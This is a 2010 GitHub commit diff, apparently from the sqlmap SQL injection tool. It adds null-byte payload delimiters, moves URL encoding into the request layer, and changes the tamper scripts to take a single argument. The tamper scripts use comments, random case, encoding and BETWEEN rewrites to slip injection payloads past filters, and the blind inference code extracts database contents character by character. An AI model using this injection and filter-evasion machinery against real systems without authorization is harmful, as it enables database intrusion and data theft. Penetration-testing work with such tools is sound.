Permalink
Browse files

important update regarding (Bug #209) - probably more will be needed

  • Loading branch information...
1 parent a921fe0 commit 5a38ac7ea94f73a1e1c0323f2fb4c1c0b4b6296c @stamparm stamparm committed Oct 29, 2010
View
1 lib/controller/checks.py
@@ -24,7 +24,6 @@
from lib.core.common import showStaticWords
from lib.core.common import wasLastRequestError
from lib.core.common import DynamicContentItem
-from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
View
76 lib/core/agent.py
@@ -11,6 +11,7 @@
from xml.etree import ElementTree as ET
+from lib.core.common import getCompiledRegex
from lib.core.common import getInjectionCase
from lib.core.common import randomInt
from lib.core.common import randomStr
@@ -20,6 +21,7 @@
from lib.core.data import queries
from lib.core.datatype import advancedDict
from lib.core.exception import sqlmapNoneDataException
+from lib.core.settings import PAYLOAD_DELIMITER
class Agent:
"""
@@ -54,18 +56,17 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, negativ
falseValue = ""
negValue = ""
retValue = ""
- newValue = urlencode(newValue) if place != "URI" else newValue
if negative or kb.unionNegative:
negValue = "-"
elif falseCond or kb.unionFalseCond:
randInt = randomInt()
- falseValue = urlencode(" AND %d=%d" % (randInt, randInt + 1))
+ falseValue = " AND %d=%d" % (randInt, randInt + 1)
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter,
- "%s%s" % (negValue, kb.injParameter + falseValue + newValue))
+ self.addPayloadDelimiters("%s%s" % (negValue, kb.injParameter + falseValue + newValue)))
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
@@ -76,21 +77,21 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, negativ
iterator = root.getiterator(kb.injParameter)
for child in iterator:
- child.text = "%s%s" % (negValue, value + falseValue + newValue)
+ child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
retValue = ET.tostring(root)
elif kb.injPlace == "URI":
retValue = paramString.replace("*",
- "%s%s" % (negValue, falseValue + newValue))
+ self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
else:
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
- "%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
+ "%s=%s" % (kb.injParameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
# Before identifing the injectable parameter
elif parameter == "User-Agent":
- retValue = value.replace(value, newValue)
+ retValue = value.replace(value, self.addPayloadDelimiters(newValue))
elif place == "URI":
- retValue = value.replace("*", "%s" % newValue.replace(value, str()))
+ retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str())))
else:
paramString = conf.parameters[place]
@@ -99,12 +100,12 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, negativ
iterator = root.getiterator(parameter)
for child in iterator:
- child.text = newValue
+ child.text = self.addPayloadDelimiters(newValue)
retValue = ET.tostring(root)
else:
retValue = paramString.replace("%s=%s" % (parameter, value),
- "%s=%s" % (parameter, newValue))
+ "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
return retValue
@@ -604,5 +605,60 @@ def forgeCaseStatement(self, expression):
return queries[kb.dbms].case.query % expression
+ def addPayloadDelimiters(self, inpStr):
+ """
+ Adds payload delimiters around the input string
+ """
+ retVal = inpStr
+
+ if inpStr:
+ retVal = "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER)
+
+ return retVal
+
+ def removePayloadDelimiters(self, inpStr, urlencode_=True):
+ """
+ Removes payload delimiters from inside the input string
+ """
+ retVal = inpStr
+
+ if inpStr:
+ if urlencode_:
+ regObj = getCompiledRegex("(?P<result>%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
+
+ for match in regObj.finditer(inpStr):
+ retVal = retVal.replace(match.group("result"), urlencode(match.group("result")[1:-1]))
+ else:
+ retVal = retVal.replace(PAYLOAD_DELIMITER, '')
+
+ return retVal
+
+ def extractPayload(self, inpStr):
+ """
+ Extracts payload from inside of the input string
+ """
+ retVal = None
+
+ if inpStr:
+ regObj = getCompiledRegex("(?P<result>%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
+ match = regObj.search(inpStr)
+
+ if match:
+ retVal = match.group("result")[1:-1]
+
+ return retVal
+
+ def replacePayload(self, inpStr, payload):
+ """
+ Replaces payload inside the input string with a given payload
+ """
+ retVal = inpStr
+
+ if inpStr:
+ regObj = getCompiledRegex("(?P<result>%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
+ retVal = regObj.sub("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr)
+
+ return retVal
+
# SQL agent
agent = Agent()
View
2 lib/core/common.py
@@ -1532,7 +1532,7 @@ def runningAsAdmin():
isAdmin = True
else:
errMsg = "sqlmap is not able to check if you are running it "
- errMsg += "as an administrator accout on this platform. "
+ errMsg += "as an administrator account on this platform. "
errMsg += "sqlmap will assume that you are an administrator "
errMsg += "which is mandatory for the requested takeover attack "
errMsg += "to work properly"
View
4 lib/core/option.py
@@ -556,14 +556,14 @@ def __setTamperingFunctions():
raise sqlmapSyntaxException, "can not import tamper script '%s' (%s)" % (filename[:-3], msg)
for name, function in inspect.getmembers(module, inspect.isfunction):
- if name == "tamper" and function.func_code.co_argcount == 2:
+ if name == "tamper" and function.func_code.co_argcount == 1:
kb.tamperFunctions.append(function)
found = True
break
if not found:
- raise sqlmapGenericException, "missing function 'tamper(place, value)' in tamper script '%s'" % tfile
+ raise sqlmapGenericException, "missing function 'tamper(value)' in tamper script '%s'" % tfile
def __setThreads():
if not isinstance(conf.threads, int) or conf.threads <= 0:
View
2 lib/core/settings.py
@@ -46,6 +46,8 @@
ERROR_START_CHAR = ":s:"
ERROR_END_CHAR = ":e:"
+PAYLOAD_DELIMITER = "\x00"
+
# System variables
IS_WIN = subprocess.mswindows
# The name of the operating system dependent module imported. The following
View
4 lib/parse/banner.py
@@ -92,7 +92,7 @@ def bannerParser(banner):
"""
xmlfile = None
-
+
if kb.dbms == "Microsoft SQL Server":
xmlfile = paths.MSSQL_XML
elif kb.dbms == "MySQL":
@@ -104,7 +104,7 @@ def bannerParser(banner):
if not xmlfile:
return
-
+
checkFile(xmlfile)
if kb.dbms == "Microsoft SQL Server":
View
3 lib/request/basic.py
@@ -35,9 +35,6 @@ def forgeHeaders(cookie, ua):
for header, value in conf.httpHeaders:
if cookie and header == "Cookie":
- if conf.cookieUrlencode:
- cookie = urlEncodeCookieValues(cookie)
-
headers[header] = cookie
elif ua and header == "User-Agent":
headers[header] = ua
View
22 lib/request/connect.py
@@ -16,6 +16,7 @@
import traceback
from lib.contrib import multipartpost
+from lib.core.agent import agent
from lib.core.common import readInput
from lib.core.common import getUnicode
from lib.core.convert import urlencode
@@ -107,7 +108,6 @@ def getPage(**kwargs):
get = conf.parameters["GET"]
if get:
- get = urlencode(get)
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
@@ -149,7 +149,7 @@ def getPage(**kwargs):
cookieStr += "%s; " % cookie[8:index]
conn = urllib2.urlopen(req)
-
+
if not req.has_header("Accept-Encoding"):
requestHeaders += "Accept-Encoding: identity\n"
@@ -307,8 +307,22 @@ def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent
place = kb.injPlace
if kb.tamperFunctions:
- for function in kb.tamperFunctions:
- value = function(place, value)
+ payload = agent.extractPayload(value)
+ if payload:
+ for function in kb.tamperFunctions:
+ payload = function(payload)
+ value = agent.replacePayload(value, payload)
+
+ if place == "GET":
+ value = agent.removePayloadDelimiters(value, True)
+ elif place == "POST":
+ value = agent.removePayloadDelimiters(value, False)
+ elif place == "Cookie":
+ value = agent.removePayloadDelimiters(value, conf.cookieUrlencode)
+ elif place == "User-Agent":
+ value = agent.removePayloadDelimiters(value, True)
+ elif place == "URI":
+ value = agent.removePayloadDelimiters(value, False)
if conf.checkPayload:
checkPayload(value)
View
1 lib/request/inject.py
@@ -22,7 +22,6 @@
from lib.core.common import randomInt
from lib.core.common import readInput
from lib.core.common import safeStringFormat
-from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
View
13 lib/techniques/blind/inference.py
@@ -22,7 +22,6 @@
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
-from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -122,7 +121,7 @@ def tryHint(idx):
forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, posValue))
queriesCount[0] += 1
- result = Request.queryPage(urlencode(forgedPayload))
+ result = Request.queryPage(forgedPayload)
if result:
return hintValue[idx-1]
@@ -153,7 +152,7 @@ def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is N
if len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, charTbl[0]))
queriesCount[0] += 1
- result = Request.queryPage(urlencode(forgedPayload))
+ result = Request.queryPage(forgedPayload)
if result:
return chr(charTbl[0]) if charTbl[0] < 128 else unichr(charTbl[0])
@@ -174,7 +173,7 @@ def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is N
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
queriesCount[0] += 1
- result = Request.queryPage(urlencode(forgedPayload))
+ result = Request.queryPage(forgedPayload)
if kb.dbms in ("SQLite", "Microsoft Access", "SAP MaxDB"):
posValue = popValue()
@@ -226,7 +225,7 @@ def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is N
for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, retVal))
queriesCount[0] += 1
- result = Request.queryPage(urlencode(forgedPayload))
+ result = Request.queryPage(forgedPayload)
if result:
return chr(retVal) if retVal < 128 else unichr(retVal)
@@ -444,7 +443,7 @@ def downloadThread():
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
query = agent.postfixQuery(query)
queriesCount[0] += 1
- result = Request.queryPage(urlencode(agent.payload(newValue=query)))
+ result = Request.queryPage(agent.payload(newValue=query))
# Did we have luck?
if result:
@@ -468,7 +467,7 @@ def downloadThread():
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
query = agent.postfixQuery(query)
queriesCount[0] += 1
- result = Request.queryPage(urlencode(agent.payload(newValue=query)))
+ result = Request.queryPage(agent.payload(newValue=query))
# Did we have luck?
if result:
View
3 lib/techniques/error/use.py
@@ -15,7 +15,6 @@
from lib.core.common import randomInt
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
-from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -68,7 +67,7 @@ def errorUse(expression):
logger.debug(debugMsg)
payload = agent.payload(newValue=forgedQuery)
- result = Request.queryPage(urlencode(payload), content=True)
+ result = Request.queryPage(payload, content=True)
match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE)
if match:
View
12 tamper/between.py
@@ -7,10 +7,7 @@
See the file 'doc/COPYING' for copying permission
"""
-from lib.core.convert import urldecode
-from lib.core.convert import urlencode
-
-def tamper(place, value):
+def tamper(value):
"""
Replaces '>' with 'NOT BETWEEN 0 AND #'
Example: 'A > B' becomes 'A NOT BETWEEN 0 AND B'
@@ -19,14 +16,12 @@ def tamper(place, value):
retVal = value
if value:
- if place != "URI":
- value = urldecode(value)
-
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(value)):
if not firstspace:
+
if value[i].isspace():
firstspace = True
retVal += " "
@@ -47,8 +42,5 @@ def tamper(place, value):
retVal += value[i]
- if place != "URI":
- retVal = urlencode(retVal)
-
return retVal
View
25 tamper/charencode.py
@@ -11,7 +11,7 @@
from lib.core.exception import sqlmapUnsupportedFeatureException
-def tamper(place, value):
+def tamper(value):
"""
Replaces value with urlencode of non-encoded chars in value
Example: 'SELECT%20FIELD%20FROM%20TABLE' becomes '%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45'
@@ -20,18 +20,15 @@ def tamper(place, value):
retVal = value
if value:
- if place != "URI":
- retVal = ""
- i = 0
-
- while i < len(value):
- if value[i] == '%' and (i < len(value) - 2) and value[i+1] in string.hexdigits and value[i+2] in string.hexdigits:
- retVal += value[i:i+3]
- i += 3
- else:
- retVal += '%%%X' % ord(value[i])
- i += 1
- else:
- raise sqlmapUnsupportedFeatureException, "can't use tamper script '%s' with 'URI' type injections" % __name__
+ retVal = ""
+ i = 0
+
+ while i < len(value):
+ if value[i] == '%' and (i < len(value) - 2) and value[i+1] in string.hexdigits and value[i+2] in string.hexdigits:
+ retVal += value[i:i+3]
+ i += 3
+ else:
+ retVal += '%%%X' % ord(value[i])
+ i += 1
return retVal
View
25 tamper/charunicodeencode.py
@@ -11,7 +11,7 @@
from lib.core.exception import sqlmapUnsupportedFeatureException
-def tamper(place, value):
+def tamper(value):
"""
Replaces value with unicode-urlencode of non-encoded chars in value
Example: 'SELECT%20FIELD%20FROM%20TABLE' becomes '%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
@@ -20,18 +20,15 @@ def tamper(place, value):
retVal = value
if value:
- if place != "URI":
- retVal = ""
- i = 0
-
- while i < len(value):
- if value[i] == '%' and (i < len(value) - 2) and value[i+1] in string.hexdigits and value[i+2] in string.hexdigits:
- retVal += "%%u00%s" % value[i+1:i+3]
- i += 3
- else:
- retVal += '%%u00%X' % ord(value[i])
- i += 1
- else:
- raise sqlmapUnsupportedFeatureException, "can't use tamper script '%s' with 'URI' type injections" % __name__
+ retVal = ""
+ i = 0
+
+ while i < len(value):
+ if value[i] == '%' and (i < len(value) - 2) and value[i+1] in string.hexdigits and value[i+2] in string.hexdigits:
+ retVal += "%%u00%s" % value[i+1:i+3]
+ i += 3
+ else:
+ retVal += '%%u00%X' % ord(value[i])
+ i += 1
return retVal
View
7 tamper/doubleencode.py
@@ -10,16 +10,13 @@
from lib.core.convert import urlencode
from lib.core.exception import sqlmapUnsupportedFeatureException
-def tamper(place, value):
+def tamper(value):
"""
Replaces value with urlencode(value)
Example: 'SELECT%20FIELD%20FROM%20TABLE' becomes 'SELECT%25%20FIELD%25%20FROM%25%20TABLE'
"""
if value:
- if place != "URI":
- value = urlencode(value, convall=True)
- else:
- raise sqlmapUnsupportedFeatureException, "can't use tamper script '%s' with 'URI' type injections" % __name__
+ value = urlencode(value, convall=True)
return value
View
13 tamper/ifnull2ifisnull.py
@@ -7,18 +7,13 @@
See the file 'doc/COPYING' for copying permission
"""
-from lib.core.convert import urldecode
-from lib.core.convert import urlencode
-
-def tamper(place, value):
+def tamper(value):
"""
Replaces 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
Example: 'IFNULL(1, 2)' becomes 'IF(ISNULL(1), 2, 1)'
"""
if value and value.find("IFNULL") > -1:
- if place != "URI":
- value = urldecode(value)
while value.find("IFNULL(") > -1:
index = value.find("IFNULL(")
@@ -28,11 +23,14 @@ def tamper(place, value):
for i in xrange(index + len("IFNULL("), len(value)):
if deepness == 1 and value[i] == ',':
comma = i
+
elif deepness == 1 and value[i] == ')':
end = i
break
+
elif value[i] == '(':
deepness += 1
+
elif value[i] == ')':
deepness -= 1
@@ -44,7 +42,4 @@ def tamper(place, value):
else:
break
- if place != "URI":
- value = urlencode(value)
-
return value
View
8 tamper/randomcase.py
@@ -10,8 +10,6 @@
import re
from lib.core.common import randomRange
-from lib.core.convert import urldecode
-from lib.core.convert import urlencode
from lib.core.data import kb
def tamper(place, value):
@@ -23,9 +21,6 @@ def tamper(place, value):
retVal = value
if value:
- if place != "URI":
- retVal = urldecode(retVal)
-
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
@@ -37,7 +32,4 @@ def tamper(place, value):
retVal = retVal.replace(word, newWord)
- if place != "URI":
- retVal = urlencode(retVal)
-
return retVal
View
10 tamper/randomcomments.py
@@ -10,11 +10,9 @@
import re
from lib.core.common import randomRange
-from lib.core.convert import urldecode
-from lib.core.convert import urlencode
from lib.core.data import kb
-def tamper(place, value):
+def tamper(value):
"""
Add random comments to value
Example: 'INSERT' becomes 'IN/**/S/**/ERT'
@@ -23,9 +21,6 @@ def tamper(place, value):
retVal = value
if value:
- if place != "URI":
- retVal = urldecode(retVal)
-
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
@@ -41,7 +36,4 @@ def tamper(place, value):
newWord += word[-1]
retVal = retVal.replace(word, newWord)
- if place != "URI":
- retVal = urlencode(retVal)
-
return retVal
View
11 tamper/space2comment.py
@@ -7,10 +7,7 @@
See the file 'doc/COPYING' for copying permission
"""
-from lib.core.convert import urldecode
-from lib.core.convert import urlencode
-
-def tamper(place, value):
+def tamper(value):
"""
Replaces ' ' with '/**/'
Example: 'SELECT id FROM users' becomes 'SELECT/**/id/**/FROM users'
@@ -19,9 +16,6 @@ def tamper(place, value):
retVal = value
if value:
- if place != "URI":
- value = urldecode(value)
-
retVal = ""
quote, doublequote, firstspace = False, False, False
@@ -44,8 +38,5 @@ def tamper(place, value):
retVal += value[i]
- if place != "URI":
- retVal = urlencode(retVal)
-
return retVal
View
11 tamper/space2plus.py
@@ -7,10 +7,7 @@
See the file 'doc/COPYING' for copying permission
"""
-from lib.core.convert import urldecode
-from lib.core.convert import urlencode
-
-def tamper(place, value):
+def tamper(value):
"""
Replaces ' ' with '/**/'
Example: 'SELECT id FROM users' becomes 'SELECT+id+FROM+users'
@@ -19,9 +16,6 @@ def tamper(place, value):
retVal = value
if value:
- if place != "URI":
- value = urldecode(value)
-
retVal = ""
quote, doublequote, firstspace = False, False, False
@@ -44,8 +38,5 @@ def tamper(place, value):
retVal += value[i]
- if place != "URI":
- retVal = urlencode(retVal)
-
return retVal
View
11 tamper/space2randomblank.py
@@ -9,10 +9,7 @@
import random
-from lib.core.convert import urldecode
-from lib.core.convert import urlencode
-
-def tamper(place, value):
+def tamper(value):
"""
Replaces ' ' with a random blank char from a set ('\r', '\n', '\t')
Example: 'SELECT id FROM users' becomes 'SELECT\rid\tFROM\nusers'
@@ -22,9 +19,6 @@ def tamper(place, value):
retVal = value
if value:
- if place != "URI":
- value = urldecode(value)
-
retVal = ""
quote, doublequote, firstspace = False, False, False
@@ -47,8 +41,5 @@ def tamper(place, value):
retVal += value[i]
- if place != "URI":
- retVal = urlencode(retVal)
-
return retVal

0 comments on commit 5a38ac7

Please sign in to comment.